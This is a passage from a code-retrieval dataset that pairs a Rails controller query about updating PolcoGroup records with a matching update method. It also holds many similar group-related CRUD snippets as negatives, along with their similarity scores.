"def create\n @no_group = NoGroup.new(no_group_params)\n\n respond_to do |format|\n if @no_group.save\n format.html { redirect_to @no_group, notice: 'No group was successfully created.' }\n format.json { render :show, status: :created, location: @no_group }\n else\n format.html { render :new }\n format.json { render json: @no_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def belonging_groups\n contact_groups = []\n @contact.contact_groups.each do |group|\n contact_groups << { _id: group['_id'].to_s, lbl: group['label'] }\n end\n\n respond_to do |format|\n format.js {}\n format.json { render json: contact_groups }\n end\n end",
"def create\n # Must check that user's account allows multiple groups\n Group.rebuild! if nil.|Group.find(:first).rgt\n @group = Group.new(params[:group])\n\t \n\t if params[:group][:parent_id].blank?\n\t Logger.error \"Cannot create group via CREATE action withouth parent_id\" \n\t flash[:notice] = \"Can not create a group this way without a specifying a parent\"\n else\n\t # Must check that the current_user has admin privileges on parent or a parent of parent.\n\t parent = Group.find_by_id(params[:group][:parent_id]) \n if current_user.can_create_child_group(parent)\n @group.account = parent.account\n else\n flash[:notice] = \"You do not have sufficient privileges to create new group for #{parent.name}\"\n end \n end\n\t \n\t #a new group should be saved, and then an Admin privilige for the creator should be created\n\t #note: groups validates presence of 'account'\n\n respond_to do |format|\n begin\n Priviledge.transaction do\t \n\t @group.save!\n\t @group.move_to_child_of parent #awesome nested set action.\n\t Priviledge.create!(:user => current_user, :group => @group, :level => Level.find_by_name('admin'))\n\t \t \n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n end \n rescue\n Group.rebuild! #don't know if this is needed, but it can't hurt, except for time.\n @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @os_groups_membership = OsGroupsMembership.new(os_groups_membership_params)\n\n respond_to do |format|\n if @os_groups_membership.save\n format.html { redirect_to @os_groups_membership, notice: 'Os groups membership was successfully created.' }\n format.json { render :show, status: :created, location: @os_groups_membership }\n else\n format.html { render :new }\n format.json { render json: @os_groups_membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def grupo_params\n params.require(:grupo).permit(:nombre, :descripcion, :codigo)\n end",
"def create\n @group = Group.new(params[:group])\n @group.user = current_user\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @rolesgroup = RolesGroup.new(params[:roles_group])\n @rolesgroup.lu_userid=current_user.userid\n (l1id,id) = params[:org_id].split(',')\n org = Org.find([l1id,id])\n @rolesgroup.org_id=id\n @rolesgroup.org_l1_id=l1id\n\n respond_to do |format|\n if @rolesgroup.save\n flash[:notice] = 'Roles Group was successfully updated.'\n format.html {redirect_to :action=>:edit,:id=>org }\n format.xml { head :ok }\n else\n @org = org\n @rolesgroups = @org.roles_groups.all\n flash[:notice] =\"There was a problem updating this record.\"\n format.html { render :action => \"edit\"}\n format.xml { render :xml => @rolesgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def group_params\n params.permit(:name, :description, :kind, :privacy_level, :image, :banner, :request_root_branch, :latitude, :longitude, counselor_ids: [], meetings_attributes: [:_destroy, :id, :title, :hour, :day], new_participant_ids: [], new_admin_ids: [], delete_participant_ids: [], hashtag_ids: [])\n end",
"def create\n @resource_group = ResourceGroup.new(resource_group_params)\n # authorize(@resource_group)\n respond_to do |format|\n if @resource_group.save\n format.html { redirect_to @resource_group, notice: 'Resource group was successfully created.' }\n format.json { render :show, status: :created, location: @resource_group }\n else\n format.html { render :new }\n format.json { render json: @resource_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(current_user.id)\n @group = Group.new(group_params)\n\n @group.title = params[:title]\n @group.description = params[:description]\n @group.groupProfile = params[:groupProfile]\n @group.groupCover = params[:groupCover]\n\n respond_to do |format|\n if @group.save\n @user.groups << @group\n\n GroupCategory.new(group_id: @group.id , category_id: params[:category]).save\n\n format.html { redirect_to user_group_path(current_user.id, @group.id) }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resource = Group.new(group_params)\n\n respond_to do |format|\n if @resource.save\n index\n\n flash[:success] = t('notices.saved_successfully')\n format.html { redirect_to @resource, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n format.js\n end\n end",
"def create\n @asterisk_paging_group = AsteriskPagingGroup.new(asterisk_paging_group_params)\n\n respond_to do |format|\n if @asterisk_paging_group.save\n format.html { redirect_to @asterisk_paging_group, notice: 'Asterisk paging group was successfully created.' }\n format.json { render :show, status: :created, location: @asterisk_paging_group }\n else\n format.html { render :new }\n format.json { render json: @asterisk_paging_group.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.59693825",
"0.59011346",
"0.5882576",
"0.5850695",
"0.5850695",
"0.5830923",
"0.5805485",
"0.56833404",
"0.5673835",
"0.5673296",
"0.5671528",
"0.5671528",
"0.56712943",
"0.56535393",
"0.5637584",
"0.56219417",
"0.56008923",
"0.5593232",
"0.55852175",
"0.55807257",
"0.5554725",
"0.55502295",
"0.55442405",
"0.55296016",
"0.5483668",
"0.5478608",
"0.5471782",
"0.54624534",
"0.54557234",
"0.54448545",
"0.54407465",
"0.5434363",
"0.5433498",
"0.5433038",
"0.5430201",
"0.54295677",
"0.54257256",
"0.5392596",
"0.53879017",
"0.53879017",
"0.5386514",
"0.53860766",
"0.53695303",
"0.5366275",
"0.5366275",
"0.5366275",
"0.53659123",
"0.53607935",
"0.535875",
"0.5349092",
"0.5347529",
"0.5344724",
"0.53366673",
"0.53309095",
"0.53249526",
"0.53225785",
"0.53189176",
"0.53094417",
"0.5306937",
"0.5303694",
"0.53002995",
"0.5297447",
"0.52961606",
"0.5295988",
"0.5293493",
"0.528739",
"0.52853173",
"0.5279836",
"0.52769166",
"0.52730906",
"0.5265935",
"0.5263035",
"0.5251009",
"0.5249292",
"0.5248162",
"0.52408195",
"0.5240494",
"0.524043",
"0.5237363",
"0.5231225",
"0.5226855",
"0.5226087",
"0.5224545",
"0.5208707",
"0.520357",
"0.5195184",
"0.5190612",
"0.5181794",
"0.51805127",
"0.51771605",
"0.51758415",
"0.5173373",
"0.5172313",
"0.51705664",
"0.51624155",
"0.51618737",
"0.5161636",
"0.51613426",
"0.51546794",
"0.51499593"
] |
0.65015924
|
0
|
PUT /polco_groups/1 PUT /polco_groups/1.xml
|
def update
@polco_group = PolcoGroup.find(params[:id])
@polco_group.title = "#{params[:polco_group][:name]}_custom"
respond_to do |format|
if @polco_group.update_attributes(params[:group])
format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def UpdateGroup params = {}\n \n APICall(path: 'groups.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @grupo = Grupo.find(params[:id])\n\n respond_to do |format|\n if @grupo.update_attributes(params[:grupo])\n flash[:notice] = \"Los datos del Grupo #{@grupo.nombre} se han actualizado.\"\n format.html { redirect_to(@grupo) }\n format.xml { head :ok }\n else\n flash[:error] = \"Hubo un error actualizando el grupo.\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @grupo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @esol_group = EsolGroup.find(params[:id])\n\n respond_to do |format|\n if @esol_group.update_attributes(params[:esol_group])\n format.html { redirect_to @esol_group, notice: 'Esol group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @esol_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n logger.info \"Put parameters: #{params.to_json}\"\n @group = Group.find(params[:id])\n\n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def put(obj, which=:groups)\n path = \"/#{which}\"\n path += \"/#{obj['ID']}\" unless obj['ID'].nil? \n resp = self.class.post(path, { :body => obj })\n check_errors resp\n res = resp.parsed_response['Response']['Entry']\n rebuild_groups! res\n res\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to( view_group_path(@group.label), :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @polco_group = PolcoGroup.find(params[:id])\n @polco_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(polco_groups_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = SuperSimpleCms::Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to super_simple_group_path(@group) } \n format.js { redirect_to formatted_super_simple_group_path(@group, :js) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.js { render :action => \"new\", :layout=>false}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @objectgrouptoobjectgroup = Objectgrouptoobjectgroup.find(params[:id])\n\n respond_to do |format|\n if @objectgrouptoobjectgroup.update_attributes(params[:objectgrouptoobjectgroup])\n flash[:notice] = 'Objectgrouptoobjectgroup was successfully updated.'\n format.html { redirect_to(@objectgrouptoobjectgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @objectgrouptoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # TODO -- might not be needed -- load or authorize\n @polco_group = PolcoGroup.new(params[:polco_group])\n @polco_group.title = \"#{params[:polco_group][:name]}_custom\"\n\n respond_to do |format|\n if @polco_group.save\n format.html { redirect_to(@polco_group, :notice => 'PolcoGroup was successfully created.') }\n format.xml { render :xml => @polco_group, :status => :created, :location => @polco_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @polco_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @routinetoobjectgroup = Routinetoobjectgroup.find(params[:id])\n\n respond_to do |format|\n if @routinetoobjectgroup.update_attributes(params[:routinetoobjectgroup])\n flash[:notice] = 'Routinetoobjectgroup was successfully updated.'\n format.html { redirect_to(@routinetoobjectgroup) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @routinetoobjectgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params[:grouping].delete :parent_id if (@grouping.root? or (params[:grouping][:parent_id].to_i == params[:id].to_i))\n \n respond_to do |format|\n if @grouping.update_attributes(params[:grouping])\n gflash :success => \"Group updated.\"\n format.html { redirect_to edit_grouping_path(@grouping) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @grouping.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n \n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find_by_param(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @add_to_group = AddToGroup.find(params[:id])\n\n respond_to do |format|\n if @add_to_group.update_attributes(params[:add_to_group])\n format.html { redirect_to(@add_to_group, :notice => 'Add to group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @add_to_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pgroup = Pgroup.find(params[:id])\n\n respond_to do |format|\n if @pgroup.update_attributes(params[:pgroup])\n format.html { redirect_to @pgroup, notice: 'Pgroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pgroup = Pgroup.find(params[:id])\n\n respond_to do |format|\n if @pgroup.update_attributes(params[:pgroup])\n format.html { redirect_to @pgroup, notice: 'Pgroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_groups_poll.update(api_v1_groups_poll_params)\n format.html { redirect_to @api_v1_groups_poll, notice: 'Groups poll was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_groups_poll }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_groups_poll.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n if @group.update_attributes(params[:group])\n flash[:notice] = t('flash_msg47')\n @groups = Group.all\n # format.html { redirect_to(@group) }\n # format.xml { head :ok }\n else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end",
"def addGroupToServer(group)\n path = \"/user/\" + @@conf[\"username\"] + \"/group/\" + group.strip\n res = HttpRequest.new(:put, path).send(@@host)\n puts res\n puts \"CODE: \" + res.code\n\nend",
"def update\n @group.name = params['name']\n @group.save\n respond_to do |format|\n format.json { render :show, status: :ok, location: @group }\n end\n end",
"def update\n @provider_group = ProviderGroup.find(params[:id])\n\n respond_to do |format|\n if @provider_group.update_attributes(params[:provider_group])\n flash[:notice] = 'ProviderGroup was successfully updated.'\n format.html { redirect_to(@provider_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Группа обновлена!' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = '{object} was successfully {action}.'[:object_action_notice, \"Group\"[], \"updated\"[]]\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Le groupe a été modifié.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group_of_task = GroupOfTask.find(params[:id])\n\n respond_to do |format|\n if @group_of_task.update_attributes(params[:group_of_task])\n flash[:notice] = 'GroupOfTask was successfully updated.'\n format.html { redirect_to(@group_of_task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_of_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_group_update\n @api_v1_group_update = Api::V1::GroupUpdate.find(params[:id])\n end",
"def update\n if @group.update_attributes(params[:group])\n respond_with(@group, only: [:id, :name, :creator_id, :admin_id])\n else\n render_error(404, request.path, 20103, \"Failed to update group info\")\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_group.update(api_v1_initiative_group_params)\n format.html { redirect_to @api_v1_initiative_group, notice: 'Initiative group was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_group }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to((current_user and current_user.is_site_admin? and current_user != @group.users.owners.first) ? by_user_groups_path(:user_id => @group.users.owners.first.id) : groups_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Course.groups.new(group_params)\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_nodegroup(nodegroup_json, nodegroup_id)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=nodegroup_id, nodegroup_json)\nend",
"def update\n @iogroup = Iogroup.find(params[:id])\n if @iogroup.update(iogroup_params)\n redirect_to iogroups_path, :notice => 'IO-Gruppe erfolgreich aktualisiert.'\n else\n render 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to groups_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @grupo = Grupo.find(params[:id])\n \n respond_to do |format|\n if @grupo.update_attributes(params[:grupo])\n \t\[email protected]_inicio = revisar_los_minutos_de @grupo.hora_inicio\n \t\[email protected]_fin = revisar_los_minutos_de @grupo.hora_fin\n \t\[email protected] \n flash[:notice] = 'Grupo was successfully updated.'\n format.html { redirect_to(@grupo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @grupo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_group_update.update(api_v1_group_update_params)\n format.html { redirect_to @api_v1_group_update, notice: 'Group update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_group_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_group_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n params[:group_locales].each do |loc, values|\n locale = Locale.find(values[:id])\n locale.name = values[:name]\n locale.description = values[:description]\n locale.locale = values[:locale]\n locale.save\n end\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n format.xml { render xml: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_group = LabGroup.find(params[:id])\n\n respond_to do |format|\n if @lab_group.update_attributes(params[:lab_group])\n flash[:notice] = 'LabGroup was successfully updated.'\n format.html { redirect_to(@lab_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lab_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group.update(group_params)\n respond_with(@group)\n end",
"def update\n @competence_group = CompetenceGroup.find(params[:id])\n\n respond_to do |format|\n if @competence_group.update_attributes(cg_params)\n flash[:notice] = t('competencegroup_updated_success') \n format.html { redirect_to(@competence_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @competence_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @collection_group.update(collection_group_params)\n format.html { redirect_to @collection_group, notice: 'Collection group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collection_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @eqvgroup.update(eqvgroup_params)\n format.html { redirect_to @eqvgroup, notice: 'Эквивалентная группа обновлена.' }\n format.json { render :show, status: :ok, location: @eqvgroup }\n else\n format.html { render :edit }\n format.json { render json: @eqvgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ail_group = AilGroup.find(params[:id])\n\n respond_to do |format|\n if @ail_group.update_attributes(params[:ail_group])\n flash[:notice] = 'AilGroup was successfully updated.'\n format.html { redirect_to(@ail_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ail_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = GROUP.first_or_get!(params[:id])\n @group.current_user = current_user\n\n @group.update_children((params[:group] || {}).delete(:locales), :locale)\n\n respond_to do |format|\n if @group.update(params[:group]) or not @group.dirty?\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id], :conditions => conditions)\n params[:app].delete :type_id\n respond_to do |format|\n if @app.update_attributes(params[:app])\n flash[:notice] = \"#{@app.name}更新成功。\"\n format.html { redirect_to(@app) }\n format.xml { head :ok }\n else\n dictionary\n @groups = Group.all :conditions=>{:tenant_id=>current_user.tenant_id},:order=>:name\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = WorkGroup.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:notice] = 'Group was successfully updated.'\n format.html { redirect_to(@group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n if @group.update_attributes(params[:group])\n flash[:notice] = \"Grupo actualizado.\"\n redirect_to groups_path\n else\n render :action => 'edit'\n end\n end",
"def set_api_v1_groups_poll\n @api_v1_groups_poll = Api::V1::GroupsPoll.find(params[:id])\n end",
"def test_should_update_group_user_via_API_JSON\r\n # lookup user's membership\r\n get \"memberships/find.json?api_key=testapikey&user_id=4&group_id=1\"\r\n membership = JSON.parse(response.body)\r\n membership_id = membership['id']\r\n assert membership_id == 3, 'Incorrect membership id'\r\n assert membership['role_id'] == Role.find_by_rolename('user').id, 'Incorrect role id'\r\n \r\n # promote user to group admin\r\n put \"/memberships/#{membership_id}.xml\", :api_key => 'testapikey',\r\n :membership => {:user_id => 4,\r\n :group_id => 1,\r\n :role_id => Role.find_by_rolename('group_admin') }\r\n assert_response :success\r\n end",
"def update\n respond_to do |format|\n if @previa_group.update(previa_group_params)\n format.html { redirect_to @previa_group, notice: 'El grupo de previa fue modificado con éxito.' }\n format.json { render :show, status: :ok, location: @previa_group }\n else\n format.html { render :edit }\n format.json { render json: @previa_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @grupo = Grupo.find(params[:id])\n\n respond_to do |format|\n if @grupo.update_attributes(params[:grupo])\n format.html { redirect_to root_path, notice: 'Grupo actualizado' }\n format.js { redirect_to root_path }\n else\n format.html { render action: \"edit\" }\n format.js { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @group.update(group_params)\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n authorize! :update, @group\n @group.creator = current_user\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @agroup.update(agroup_params)\r\n format.html { redirect_to @agroup, notice: 'Agroup was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @agroup.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n flash[:success] = \"Группа успешно отредактирована.\"\n format.html { redirect_to @group }\n format.json { head :no_content }\n else\n flash.now[:error] = \"Введены некорректные данные!\"\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to @group, :notice => 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @group_user = @parent.find(params[:id]) #get the record\n\n respond_to do |format|\n if @group_user.update_attributes(params[:group_user])\n format.html { redirect_to(@group, :notice => 'Group user was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @jido_grp_rel = JidoGrpRel.find(params[:id])\n\n respond_to do |format|\n if @jido_grp_rel.update_attributes(params[:jido_grp_rel])\n flash[:notice] = 'JidoGrpRel was successfully updated.'\n format.html { redirect_to(@jido_grp_rel) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @jido_grp_rel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @grupo.update(grupo_params)\n format.html { redirect_to @grupo, notice: 'Se ha actualizado el Grupo.' }\n format.json { render :show, status: :ok, location: @grupo }\n else\n format.html { render :edit }\n format.json { render json: @grupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @polco_group = PolcoGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polco_group }\n end\n end",
